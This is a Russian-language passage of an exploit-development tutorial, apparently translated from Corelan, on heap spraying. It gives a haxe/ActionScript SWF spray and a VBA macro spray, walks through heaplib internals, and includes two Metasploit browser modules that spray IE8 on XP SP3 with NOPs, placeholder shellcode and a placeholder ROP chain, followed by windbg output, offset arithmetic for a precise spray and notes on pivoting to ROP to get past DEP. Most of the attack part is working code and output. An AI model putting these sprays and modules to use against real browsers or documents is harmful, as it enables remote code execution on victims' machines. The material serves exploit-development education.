Action Script – это язык программирования, используемый в Adobe Flash и Adobe Air, который также позволяет размещать чанки в куче. Это означает, что вы можете использовать Action Script для эксплуатации Adobe Flash. Неважно, будет ли flash-объект скрыт внутри Excel-файла или нет.

Роу Хей использовал Action Script в своем эксплойте для CVE-2009-1869 (уязвимость во Flash), но вы, безусловно, можете построить свой эксплойт.

Интересно то, что вы можете вставить flash-объект в читалку Adobe PDF и выполнить heap spray внутри процесса AcroRd32.exe, а также в любом приложении, поддерживающих flash-объекты, например, в приложениях MS Office.

Прежде чем рассматривать встраивание flash-объекта в другой документ, давайте создадим пример такого объекта, который содержит необходимый код Action Script для heap spray.

Для начала, скачайте копию haxe и выполните установку по умолчанию. Далее нам необходимо написать код, который будет работать внутри SWF-файла. Я буду использовать пример сценария, опубликованный в этом блоге (ищите «Actionscript»). Я внес некоторые коррективы, чтобы позволить файлу скомпилироваться в haxe.

Файл MySpray.hs выглядит следующим образом:

class MySpray
{
 static var Memory = new Array();
 static var chunk_size:UInt = 0x100000;
 static var chunk_num;
 static var nop:Int;
 static var tag;
 static var shellcode;
 static var t;

 static function main()
 {
  tag = flash.Lib.current.loaderInfo.parameters.tag;
  nop = Std.parseInt(flash.Lib.current.loaderInfo.parameters.nop);
  shellcode = flash.Lib.current.loaderInfo.parameters.shellcode;
  chunk_num = Std.parseInt(flash.Lib.current.loaderInfo.parameters.N);
  t = new haxe.Timer(7);
  t.run = doSpray;
 }

 static function doSpray()
 {
  var chunk = new flash.utils.ByteArray();
  chunk.writeMultiByte(tag, 'us-ascii');
  while(chunk.length < chunk_size)
   {
      chunk.writeByte(nop);
   }
   chunk.writeMultiByte(shellcode,'utf-7');

   for(i in 0...chunk_num)
   {
     Memory.push(chunk);
   }

   chunk_num--;
   if(chunk_num == 0)
   {
     t.stop();
   }
 }
}

Листинг 17. Содержимое файла MySpray.hs

Скрипт содержит 4 аргумента:

  • Tag: тег, который находится перед нопслед (для более простого поиска)
  • Nop: десятичное значение
  • Shellcode: собственно, шеллкод
  • N: число «распылений»

Мы передадим эти аргументы как FlashVars в html, который будет загружать flash-файл. Я сначала протестирую этот скрипт в IE несмотря на то, что глава называется по-другому.

Для начала скомпилируем .hx файд в .swf:

C:\spray\package>"c:\Program Files\Motion-Twin\haxe\haxe.exe" -main MySpray -swf9 MySpray.swf

Используя html, мы можем загрузить swf-файл в Internet Explorer:

clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"

codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0"
WIDTH="320" HEIGHT="240" id="MySpray" ALIGN="">
MySpray.swf">

N=600&nop=144&tag=CORELAN&shellcode=AAAABBBBCCCCDDDD">
MySpray.swf" quality=high bgcolor=#333399 WIDTH="320" HEIGHT="240" NAME="MySpray"
FlashVars="N=600&nop=144&tag=CORELAN&shellcode=AAAABBBBCCCCDDDD"
ALIGN="" TYPE="application/x-shockwave-flash" PLUGINSPAGE="http://www.macromedia.com/go/getflashplayer">

Обратите внимание на аргументы FlashVars. Nop установлен в десятичном выражении. Откройте html-файл в Internet Explorer (я использую IE7 в этом примере) и разрешите загрузку flash-объекта.

Нажмите на синий прямоугольник, чтобы запустить heap spray.

hs70
Рисунок 70. Flash-объект в IE7

Подождите некоторое время (15 секунд или около того), а затем откройте отладчик, подключенный к процессу iexplore.exe. Найдем наш тег:

hs71
Рисунок 71. Вывод тега в windbg

Посмотрим на содержание потенциально надежного адреса.

hs72
Рисунок 72. Дамп памяти по адресу 0x0C0C0C0C

Работает, спасибо сайтам с порнографией, благодаря которым Flash player установлен на множестве PC на сегодняшний день. Конечно, этот скрипт простой и может быть улучшен, но я думаю пока этого достаточно.

Вы можете встроить flash-объект и в другие форматы файлов и добиться того же результата, не ограничиваясь одними лишь PDF и Excel.

MS Office – VBA Spraying

Даже простой макрос в MS Excel или MS Word позволит вам осуществить heap spray. Только имейте в виду, что строки будут преобразованы в юникод.

hs73
Рисунок 73. Сценарий VBA для «распыления» кучи


Рисунок 74. Результат выполнения сценария

Возможно, вам потребуется найти способ предотвращения очистки кучи после «распыления», а также решить проблему преобразования строк в юникод, но, я надеюсь, вам понятен принцип.

Конечно, если вы можете заставить кого-то выполнить макрос, то проще просто вызвать Win API и осуществить инъекцию с шеллкодом в процесс.

Вы также можете использовать VirtualAlloc и memcpy() непосредственно из макроса, чтобы загрузить шеллкод в память по заданному адресу.

Heap Feng Shui/Heaplib

Первоначально написанная Александром Сотировым javascript-библиотека heaplib предоставляет собой реализацию так называемой техники Heap Feng Shui, которая обеспечивает относительно простой способ выполнения более точных операций с кучей.

Хотя сама техника не нова, фактическая реализация, разработанная Александром, обеспечивает очень элегантный и простой способ использования библиотеки при эксплуатации браузеров. Во время разработки библиотека поддерживала IE6, IE6, IE7 (доступные в то время версии), но было обнаружено, что она также помогает решить проблему «распыления» в IE8 (и более поздних версиях).

Вы можете посмотреть видео презентации с BlackHat 2007 здесь. Или найти копию статьи тут.

Проблема IE8

Предыдущие тесты показали, что классический heap spray не работает на IE8. Судя по всему его там никогда и не было, исходя из отсутствия каких-либо артефактов, сигнализирующих о heap spray.

Примечание: самый простой способ отследить строки при heap spray в IE8 – установить брейкпоинт на jscript!JsStrSubstr

Кроме того, IE8, который является одним из самых популярных и широко используемых браузеров в компаниях, поддерживает DEP (вызывая SetProcessDEPPolici()), что еще более усложняет ситуацию. В более новых ОС DEP является функцией, которую вы можете проигнорировать. Даже если вам удастся выполнить heap spray, то вы должны еще найти способ обойти DEP. Это означает, что вы не можете просто выполнить jump в нопслед, расположенный в куче.

Это также относится к последним версиям Firefox, Google, Chrome, Opera, Safari и т.д. Или к более старым версиям браузеров, работающих под операционной системой с включенным DEP. Давайте посмотрим, что такое heaplib и как это может нам помочь.

Heaplib

Техника Cache и Plunger – oleaut32.dll

Как объясняет Александр Сотиров в вышеупомянутой статье, выделение строк (через SysAllocString) не всегда приводит к выделению из системной кучи, но часто обрабатывается специальным механизмом управления кучей в oleaut32. Механизм развертывает систему управления кэш-памятью для ускорения распределения/перераспределения. Помните стэктрэйс, который мы видели ранее?

Каждый раз, когда чанк освобождается, менеджер кучи будет пытаться поместить указатель на освобожденный чанк в кэш (тут есть несколько условий, которые должны быть выполнены, чтобы это произошло, но сейчас мы их опустим). Эти указатели могут указывать на любое место в кучи, поэтому все, что находится в кэше, может показаться случайным. Когда происходит новое выделение, система кэширования проверит, имеет ли она чанк запрошенного размера и сможет вернуть его напрямую. Это повышает производительность, а также в определенной степени предотвращает фрагментирование.

Блоки размером более 32726 байт никогда не кэшируются и всегда выделяются напрямую. Таблица управления кэшем структурируется на основе размера чанков. Каждая «корзина» (англ. «Bin») в списке содержит освобожденные блоки заданного размера. Есть 4 корзины:

img-2019-09-30-12-17-43
Каждая корзина может содержать до 6 указателей на освобожденные чанки. В идеале при работе с кучей мы хотим убедиться, что наши данные обрабатываются системной кучей. Таким образом будет реализовываться ее предсказуемость. Если распределение чанков будет реализовываться менеджером кэша, размещающем чанки произвольно, то мы не сможем предугадать надежный адрес.

Поскольку кэш может содержать до 6 блоков на корзину, Сотиров внедрил технику «плунжера», которая сбрасывает все блоки из кэша и оставляет его пустым. Если в кэше нет блоков, то он не сможет выделить какие-либо чанки и вместо этого будет использована системная куча. Это повысило бы предсказуемость получения последовательных чанков.

Чтобы это провернуть, Сортиров объясняет, что он пытается выделить 6 блоков для каждой корзины в списке кэша (6 чанков от 1 до 32 байт, 6 чанков от 33 до 65 байт и т.д.). Таким образом, он убеждается, что кэш пуст, а выделения, которые происходят после «сброса», будут обрабатываться системной кучей.

Сборщик мусора

Если мы хотим улучшить компоновку кучи, нам также нужно иметь возможность при необходимости явно вызывать сборщик мусора. К счастью, javascript-движок в Internet Explorer предоставляет функцию CollectGarbage(), которая также доступна в библиотеке heaplib.

При использовании блоков больше 32676 байт, вам не нужно беспокоиться о вызове gc(). В случае use-after-free (когда вы перераспределяете блок определенного размера из кэша), вам может потребоваться вызвать функцию, чтобы убедиться, что вы перераспределили нужный чанк.

Распределение и дефрагментация

Комбинируя технику плунжера с возможностью запуска сборщика мусора, вы можете попытаться дефрагментировать кучу. При выделении блоков нужного размера все возможные пробелы в компоновке кучи будут заполнены. Как только мы минуем фрагментацию, то сможем распределять блоки в куче последовательно.

Использование Heaplib

Использование heaplib при эксплуатации браузера довольно просто, вы просто создаете экземпляр класса heaplib и вызываете необходимые функции. К счастью, библиотека heaplib была перенесена в Metasploit, что обеспечивает более удобное взаимодействие.

Реализация библиотеки основана на двух файлах:

lib/rex/exploitation/heaplib.js.b64
lib/rex/exploitation/heaplib.rb

Второй файл просто загружает/декодирует библиотеку в кодировке base64 (heaplib.js.b64) и применяет обфускацию.

Если вы хотите увидеть непосредственно сам javascript-код, просто самостоятельно декодируйте файл. Вы можете использовать стандартную утилиту base64 в ОС Linux.

base64 -d heaplib.js.b64 > heaplib.js

Выделения реализуются следующей функцией:

heapLib.ie.prototype.allocOleaut32 = function(arg, tag) {

    var size;

    // Calculate the allocation size
    if (typeof arg == "string" || arg instanceof String)
        size = 4 + arg.length*2 + 2;    // len + string data + null terminator
    else
        size = arg;

    // Make sure that the size is valid
    if ((size & 0xf) != 0)
        throw "Allocation size " + size + " must be a multiple of 16";

    // Create an array for this tag if doesn't already exist
    if (this.mem[tag] === undefined)
        this.mem[tag] = new Array();

    if (typeof arg == "string" || arg instanceof String) {
        // Allocate a new block with strdup of the string argument
        this.mem[tag].push(arg.substr(0, arg.length));
    }
    else {
        // Allocate the block
        this.mem[tag].push(this.padding((arg-6)/2));
    }
}

Вы должны понимать, почему фактическое распределение (в конце сценария) использует «arg-6/2»…Заголовок + юникод + терминатор, помните?

Сборщик мусора используется при запуске функции heaplib gc(). Эта функция вызывает CollectGarbage() в oleaut32, а затем завершает выполнение подпрограммы:

heapLib.ie.prototype.flushOleaut32 = function() {

    this.debug("Flushing the OLEAUT32 cache");

    // Free the maximum size blocks and push out all smaller blocks 
    this.freeOleaut32("oleaut32");

    // Allocate the maximum sized blocks again, emptying the cache 
    for (var i = 0; i < 6; i++) {
        this.allocOleaut32(32, "oleaut32");
        this.allocOleaut32(64, "oleaut32");
        this.allocOleaut32(256, "oleaut32");
        this.allocOleaut32(32768, "oleaut32");
    }

}

Кэш очищается после выделения 6 чанков из каждой корзины. Прежде чем мы продолжим я бы хотел сказать, что г-н Сотиров создал по-настоящему крутую библиотеку. Мое почтение.

Тестируем heaplib на XP SP3, IE8

Давайте воспользуемся heaplib против XP SP3, Internet Explorer 8 (с использованием модуля Metasploit) и посмотрим, сможем ли мы доставить полезную нагрузку по предсказуемому адресу.
Модуль Metasploit (heaplibtest.rb) поместите в modules/exploits/windows/browser (или в /root/.msf4/modules/exploits/windows/browser, вам может потребоваться прежде создать структуру директорий).

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HeapLib test 1',
			'Description'    => %q{
					This module demonstrates the use of heaplib
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'corelanc0d3r' ],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://www.corelan-training.com' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'IE 8', { 'Ret' => 0x0C0C0C0C } ]
				],
			'DisclosureDate' => '',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode some fake shellcode (breakpoints)
		code = "\xcc" * 400
		code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))

		nop = "\x90\x90\x90\x90"
		nop_js = Rex::Text.to_unescape(nop, Rex::Arch.endian(target.arch))

		spray = <<-JS
		var heap_obj = new heapLib.ie(0x10000);

		var code = unescape("#{code_js}");	//Code to execute
		var nops = unescape("#{nop_js}");	//NOPs

		while (nops.length < 0x1000) nops+= nops; // create big block of nops

		// compose one block, which is nops + shellcode, size 0x800 (2048) bytes
		var shellcode =  nops.substring(0,0x800 - code.length) + code;

		// repeat the block
		while (shellcode.length < 0x40000) shellcode += shellcode;

		var block = shellcode.substring(2, 0x40000 - 0x21);

		//spray
		for (var i=0; i < 500; i++) {
			heap_obj.alloc(block);
		}

		document.write("Spray done");

		JS

		# make sure the heaplib library gets included in the javascript 
		js = heaplib(spray)

		# build html

		content = <<-HTML		
		
		HTML

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)
	end

end

Листинг 18. Содержимое файла heaplibtest.rb

В этом сценарии мы создадим базовый блок размером 0x1000 байт (0x800 * 2) и будем повторять эту процедуру пока общий размер не достигнет 0x40000 байт. Каждый блок содержит nops+shellcode, а переменная «shellcode» содержит nops+shellcode+nops+shellcode… и т.д.
Наконец, мы выполним heap spray 200 раз.

Пример использования модуля:

msfconsole:

msf > use exploit/windows/browser/heaplibtest
msf  exploit(heaplibtest) > set URIPATH /
URIPATH => /
msf  exploit(heaplibtest) > set SRVPORT 80
SRVPORT => 80
msf  exploit(heaplibtest) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 10.0.2.15:4444
[*] Using URL: http://0.0.0.0:80/
[*]  Local IP: http://10.0.2.15:80/
[*] Server started.

Откройте браузер по адресу веб-сервера, который был запущен из Metasploit и подключите процесс к windbg после завершения «распыления». Обратите внимание, что начиная с Internet Explorer 8, каждая вкладка имеет собственный процесс iexplore.exe, поэтому обудитесь, что подключили отладчик к нужному процессу.

Давайте посмотрим, содержит ли базовая куча какие-либо следы нашего heap spray:

0:019> !heap -stat
_HEAP 00150000
     Segments            00000003
         Reserved  bytes 00400000
         Committed bytes 0031e000
     VirtAllocBlocks     00000001
         VirtAlloc bytes 034b0000
<...>

Произошло то, что мы и ожидали. Также обратите внимание на VirtAlloc, который также имеет высокое значение.

Статистика базовой кучи выглядит следующим образом:

0:019> !heap -stat -h 00150000
 heap @ 00150000
group-by: TOTSIZE max-display: 20
    size     #blocks total ( %) (percent of total busy bytes)
    7ffc0 201 - 10077fc0  (98.65)
    3fff8 3 - bffe8  (0.29)
    80010 1 - 80010  (0.19)
    1fff8 3 - 5ffe8  (0.14)
    fff8 6 - 5ffd0  (0.14)
    8fc1 8 - 47e08  (0.11)
    1ff8 21 - 41ef8  (0.10)
    3ff8 10 - 3ff80  (0.10)
    7ff8 5 - 27fd8  (0.06)
    13fc1 1 - 13fc1  (0.03)
    10fc1 1 - 10fc1  (0.03)
    ff8 e - df90  (0.02)
    7f8 19 - c738  (0.02)
    b2e0 1 - b2e0  (0.02)
    57e0 1 - 57e0  (0.01)
    4fc1 1 - 4fc1  (0.01)
    5e4 b - 40cc  (0.01)
    20 1d6 - 3ac0  (0.01)
    3980 1 - 3980  (0.01)
    3f8 c - 2fa0  (0.00)

Отлично – более 98% выделенных ресурсов ушло на блоки размером 0x7FFC0 байт.
Теперь посмотрим на эти блоки поближе:

0:019> !heap -flt s 0x7ffc0
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        034b0018 fff8 0000  [0b]   034b0020    7ffc0 - (busy VirtualAlloc)
        03540018 fff8 fff8  [0b]   03540020    7ffc0 - (busy VirtualAlloc)
        035d0018 fff8 fff8  [0b]   035d0020    7ffc0 - (busy VirtualAlloc)
        03660018 fff8 fff8  [0b]   03660020    7ffc0 - (busy VirtualAlloc)
        036f0018 fff8 fff8  [0b]   036f0020    7ffc0 - (busy VirtualAlloc)
        03780018 fff8 fff8  [0b]   03780020    7ffc0 - (busy VirtualAlloc)
  <...>
        0bbb0018 fff8 fff8  [0b]   0bbb0020    7ffc0 - (busy VirtualAlloc)
        0bc40018 fff8 fff8  [0b]   0bc40020    7ffc0 - (busy VirtualAlloc)
        0bcd0018 fff8 fff8  [0b]   0bcd0020    7ffc0 - (busy VirtualAlloc)
        0bd60018 fff8 fff8  [0b]   0bd60020    7ffc0 - (busy VirtualAlloc)
        0bdf0018 fff8 fff8  [0b]   0bdf0020    7ffc0 - (busy VirtualAlloc)
        0be80018 fff8 fff8  [0b]   0be80020    7ffc0 - (busy VirtualAlloc)
        0bf10018 fff8 fff8  [0b]   0bf10020    7ffc0 - (busy VirtualAlloc)
        0bfa0018 fff8 fff8  [0b]   0bfa0020    7ffc0 - (busy VirtualAlloc)
        0c030018 fff8 fff8  [0b]   0c030020    7ffc0 - (busy VirtualAlloc)
        0c0c0018 fff8 fff8  [0b]   0c0c0020    7ffc0 - (busy VirtualAlloc)
        0c150018 fff8 fff8  [0b]   0c150020    7ffc0 - (busy VirtualAlloc)
        0c1e0018 fff8 fff8  [0b]   0c1e0020    7ffc0 - (busy VirtualAlloc)
        0c270018 fff8 fff8  [0b]   0c270020    7ffc0 - (busy VirtualAlloc)
        0c300018 fff8 fff8  [0b]   0c300020    7ffc0 - (busy VirtualAlloc)
 <...>

Мы ясно можем увидеть здесь паттерн. Все блоки содержит адреса, заканчивающиеся на 0x18. Если вы повторите этот тест, то получите тот же результат.

Дамп 0x0C0C0C0C показывает, что мы выполнили heap spray корректно:

0:019> d 0c0c0c0c
0c0c0c0c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c1c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c2c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c3c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c4c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c5c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c6c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................
0c0c0c7c  90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90  ................

Отлично…ну, почти. Хотя мы видим паттерн, пространство между двумя последовательными чанками составляет 0x90000 байт (разница между базовыми адресами двух последовательных чанков), а сам размер блока – 0x7CCF0 байт. Это означает, что между чанками кучи может присутствовать мусор. Кроме того, при повторном запуске heap spray мы увидим, что чанки будут распределяться по совершенно другим базовым адресам:

<...>
        0b9c0018 fff8 fff8  [0b]   0b9c0020    7ffc0 - (busy VirtualAlloc)
        0ba50018 fff8 fff8  [0b]   0ba50020    7ffc0 - (busy VirtualAlloc)
        0bae0018 fff8 fff8  [0b]   0bae0020    7ffc0 - (busy VirtualAlloc)
        0bb70018 fff8 fff8  [0b]   0bb70020    7ffc0 - (busy VirtualAlloc)
        0bc00018 fff8 fff8  [0b]   0bc00020    7ffc0 - (busy VirtualAlloc)
        0bc90018 fff8 fff8  [0b]   0bc90020    7ffc0 - (busy VirtualAlloc)
        0bd20018 fff8 fff8  [0b]   0bd20020    7ffc0 - (busy VirtualAlloc)
        0bdb0018 fff8 fff8  [0b]   0bdb0020    7ffc0 - (busy VirtualAlloc)
        0be40018 fff8 fff8  [0b]   0be40020    7ffc0 - (busy VirtualAlloc)
        0bed0018 fff8 fff8  [0b]   0bed0020    7ffc0 - (busy VirtualAlloc)
        0bf60018 fff8 fff8  [0b]   0bf60020    7ffc0 - (busy VirtualAlloc)
        0bff0018 fff8 fff8  [0b]   0bff0020    7ffc0 - (busy VirtualAlloc)
        0c080018 fff8 fff8  [0b]   0c080020    7ffc0 - (busy VirtualAlloc)
        0c110018 fff8 fff8  [0b]   0c110020    7ffc0 - (busy VirtualAlloc)
        0c1a0018 fff8 fff8  [0b]   0c1a0020    7ffc0 - (busy VirtualAlloc)
        0c230018 fff8 fff8  [0b]   0c230020    7ffc0 - (busy VirtualAlloc)
        0c2c0018 fff8 fff8  [0b]   0c2c0020    7ffc0 - (busy VirtualAlloc)
<...>

(В первом запуске 0x0C0C0C0C принадлежал чанку кучи, начинающемся с 0x0C0C0018, а во втором 0x0C080018). Тем не менее, у нас есть рабочий heap spray для IE8. w00t.

Замечания о ASLR (Vista, Win7 и т.д)

Вы можете задаться вопросом, как ASLR влияет на heap spray. Я отвечу кратко. Судя по этой статье, распределения на основе VirtualAlloc() не используют рандомизацию. Другими словами, если вы используете достаточно большие блоки (выделение которых контролируется VirtualAlloc), то можете не беспокоиться о ASLR.

Конечно, ASLR влияет на оставшуюся часть эксплойта, подразумевающую контроль над EIP и т.д., но это выходит за рамки данного урока.

Точечный Heap Spray

Зачем он нужен?

DEP не позволяет нам напрямую прыгнуть на нопслед в куче. С IE8 (DEP включен по умолчанию) классический heap spray не работает. Используя heaplib, нам удалось выполнить heapspray, но это все еще не решает проблему DEP.

Чтобы обойти DEP, нам нужно выполнить ROP-цепочку. Если вы не знакомы с ROP, то ознакомьтесь с этим уроком. В любом случае, нам необходимо вернуться в начало ROP-цепочки. Если эта цепочка находится в куче, доставленная с помощью heap spray, мы должны иметь возможность вернуться к точному началу цепочки или вернуться в нопслед, размещенный перед ROP-цепочкой.

Как решить эту проблему?

Чтобы заставить работать эксплойт, нам нужно выполнить несколько условий:

  • Наш heap spray должен быть точным. Важен размер чанков, потому что мы должны по-максимуму осуществить предсказуемость, выравнивая чанки в куче. Это означает, что при каждом «распылении» мы должны попадать точно в начало нашей ROP-цепочки по предсказуемому адресу.
  • Каждый чанк должен быть структурирован таким образом, чтобы предсказуемый адрес указывал на начало ROP-цепочки
  • ESP должен указывать на кучу, а не на реальный стек

Если выравнивание чанка в куче составляет 0x1000 байт, то мы должны структурировать heap spray таким образом, чтобы он повторялся каждые 0x1000 байт (используя 0x800 в javascript, что составляет ровно половину 0x1000 – из-за проблемы преобразования в юникод). При тестировании сценария в IE8 (XP SP3) мы заметили, что чанки кучи выравниваются по границе 0x1000 байт.

В первом запуске 0x0C0C0C0C был частью чанка, начинающегося с 0x0C0C0018, а во второй раз он принадлежал чанку 0x0C080018. Каждый чанк был заполнен повторяющимися блоками размером 0x800 байт.

Итак, если вы хотите выделить 0x20000 байт, вам необходимо 20 или 40 повторений. Используя heaplib, мы можем точно распределить блоки нужного размера. Структура каждого блока размером 0x1000 байт будет выглядеть следующим образом:


Рисунок 75. Структура блока

Я использовал 0x1000 байт, потому что обнаружил, что независимо от версии ОС, выделения в куче всегда кратны 0x1000.

Padding offset

Чтобы узнать, сколько байт необходимо использовать для паддинга перед ROP-цепочкой, нам нужно выделить последовательные чанки идеального размера. Для этого потребуется простая математика.

Если мы используем чанки корректного размера и «распыляем» блоки также корректного размера, мы можем быть уверены, что начало каждого блока будет находиться по предсказуемому адресу.

Поскольку мы будем использовать паттерн размером 0x1000 байт, то нам не так важно, где конкретно начинается чанк. Если мы «распыляем» блоки корректного размера, то можем быть уверены, что расстояние от начала блока до целевого адреса будет всегда правильным, таким образом «распыление» будет точным. Другими словами, мы можем убедиться, что контролируем байты, на которые указывает наш адрес.

Я знаю, это может показаться немного запутанным сейчас, поэтому давайте еще раз посмотрим на предыдущий heap spray для IE8.

Снова настройте модуль и запустите IE8 на Windows XP.

Когда «распыление» закончится, подключите windbg к нужному процессу iexplore.exe и сдампьте 0x0C0C0C0C. Допустим, вы получили такой результат:

0:018> !heap -p -a 0c0c0c0c
    address 0c0c0c0c found in
    _HEAP @ 150000
      HEAP_ENTRY Size Prev Flags    UserPtr UserSize - state
        0c080018 fff8 0000  [0b]   0c080020    7ffc0 - (busy VirtualAlloc)

Поскольку мы использовали повторяющиеся блоки размером 0x1000 байт, область памяти, начинающаяся с 0x0C080018, будет выглядеть следующим образом:


Рисунок 76. Структура чанков

Таким образом, если мы будем точно определять размер чанков, содержащих повторяющиеся блоки размером 0x1000 байт, мы будем точно знать, что 0x0C0C0C0C всегда будет доступен по смещению 0x800.

Вычислить это смещение так же просто, как получить расстояние от начала блока, к которому принадлежит 0x0C0C0C0C (разделить на 2).

Итак, если чанк кучи, к которому принадлежит 0x0C0C0C0C начинается с 0x0C0C0018, мы сначала должны вычислить расстояние до UserPtr (который равен 0x0C0C0020). В этом примере это расстояние будет равно 0x0C0C0C0C – 0x0C0C0020 = 0xBEC. Разделите получившееся значение на 2= 0x5F6. Это значение меньше 0x1000, поэтому это будет смещение, которое нам нужно. Данное смещение является расстоянием от начала блока до 0x0C0C0C0C.

Изменим наш скрипт с использованием полученной информации. Также подготовим код для ROP-цепочки (мы будем использовать AAAABBBBCCCCDDDDEEEE в качестве примера). Цель заключается в том, чтобы 0x0C0C0C0C указывал точно на начало нашей ROP-цепочки.

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'HeapLib test 2',
			'Description'    => %q{
					This module demonstrates the use of heaplib
					to implement a precise heap spray
					on XP SP3, IE8
			},
			'License'        => MSF_LICENSE,
			'Author'         => [ 'corelanc0d3r' ],
			'Version'        => '$Revision: $',
			'References'     =>
				[
					[ 'URL', 'http://www.corelan-training.com' ],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'process',
				},
			'Payload'        =>
				{
					'Space'         => 1024,
					'BadChars'      => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'XP SP3 - IE 8', { 'Ret' => 0x0C0C0C0C } ]
				],
			'DisclosureDate' => '',
			'DefaultTarget'  => 0))
	end

	def autofilter
		false
	end

	def check_dependencies
		use_zlib
	end

	def on_request_uri(cli, request)
		# Re-generate the payload.
		return if ((p = regenerate_payload(cli)) == nil)

		# Encode some fake shellcode (breakpoints)
		code = "\xcc" * 400
		code_js = Rex::Text.to_unescape(code, Rex::Arch.endian(target.arch))

		# Encode the rop chain 
		rop = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHH"
		rop_js = Rex::Text.to_unescape(rop, Rex::Arch.endian(target.arch))

		pad = "\x90\x90\x90\x90"
		pad_js = Rex::Text.to_unescape(pad, Rex::Arch.endian(target.arch))

		spray = <<-JS
		var heap_obj = new heapLib.ie(0x10000);

		var code = unescape("#{code_js}");	//Code to execute
		var rop = unescape("#{rop_js}");   //ROP Chain
		var padding = unescape("#{pad_js}"); //NOPs Padding/Junk

		while (padding.length < 0x1000) padding += padding; // create big block of junk

		offset_length = 0x5F6;
		junk_offset = padding.substring(0, offset_length);  // offset to begin of shellcode.

		var shellcode = junk_offset + rop + code + padding.substring(0, 0x800 - code.length - junk_offset.length - rop.length);

		// repeat the block
		while (shellcode.length < 0x40000) shellcode += shellcode;

		var block = shellcode.substring(2, 0x40000 - 0x21);

		//spray
		for (var i=0; i < 500; i++) {
			heap_obj.alloc(block);
		}

		document.write("Spray done");

		JS

		# make sure the heaplib library gets included in the javascript 
		js = heaplib(spray)

		# build html

		content = <<-HTML
		
		HTML

		print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

		# Transmit the response to the client
		send_response_html(cli, content)
	end

end

Листинг 19. Модифицированный модуль heaplibtest.rb

Результат выполнения:

0:018> d 0c0c0c0c
0c0c0c0c  41 41 41 41 42 42 42 42-43 43 43 43 44 44 44 44  AAAABBBBCCCCDDDD
0c0c0c1c  45 45 45 45 46 46 46 46-47 47 47 47 48 48 48 48  EEEEFFFFGGGGHHHH
0c0c0c2c  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0c0c0c3c  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0c0c0c4c  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0c0c0c5c  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0c0c0c6c  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................
0c0c0c7c  cc cc cc cc cc cc cc cc-cc cc cc cc cc cc cc cc  ................


Рисунок 77. Результат выполнения точного heap spray

Fake vtable/function pointers

Если вы в итоге нарушили целостность указателя на виртуальную таблицу или саму виртуальную таблицу (что случается время от времени, например, с уязвимостями типа use-after-free), вам, возможно, придется создать фейковую виртуальную таблицу. Некоторые указатели в vtable могут содержать определенные значения, поэтому вы не сможете просто сослаться на предсказуемый адрес в куче. Вам может потребоваться создать vtable по определенному адресу, которая будет содержать конкретные значения по конкретным адресам.

Использование – от EIP к ROP (в куче)

Поскольку мы не можем просто прыгнуть в нопслед в кучу при включенном DEP, нам необходимо найти способ возврата к началу ROP-цепочки, находящейся в куче. К счастью, мы можем контролировать это расположение.

Существует несколько способов сделать это.

Если у вас есть несколько dword, которые вы можете контролировать в стеке (после перезаписи указателя возврата или через стек-pivot), то вы можете создать небольшой стек для цепочки heap-flip. Прежде всего, вам нужной найти гаджет, который изменит ESP, например, на XCHG EXP, EAX#RET или MOV ESP,EAX#RETN).

Следующая небольшая цепочка запускает ROP-цепочку, помещенную в куче по адресу 0x0C0C0C0C:


Рисунок 78. Гаджеты взяты из msvcr71.dll, как пример

В этом случае EAX будет равен 0x0C0C0C0C, а ESP будет равен EAX. Если ROP-цепочка начинается с 0x0C0C0C0C, то это приведет к ее исполнению. Если у вас нет дополнительного пространства в стеке, который вы контролируете, но один из регистров указывает на произвольное место в куче, вы можете просто выровнять ROP-цепочку таким образом, чтобы указатель попадал на ее начало, а затем переписать EIP на указатель, содержащий гаджет, который установит ESP на register + RET.

Размеры чанков

Для вашего удобства я задокументировал требуемые размеры для IE7 и IE8, работающих под XP/Vista/Win7, что позволит вам выполнять точное «распыление».

img-2019-09-30-12-27-17
Единственное, что вам нужно сделать, это выяснить смещение паддинга и построить соответствующую структуру блоков.

Точечное распыление при помощи изображений

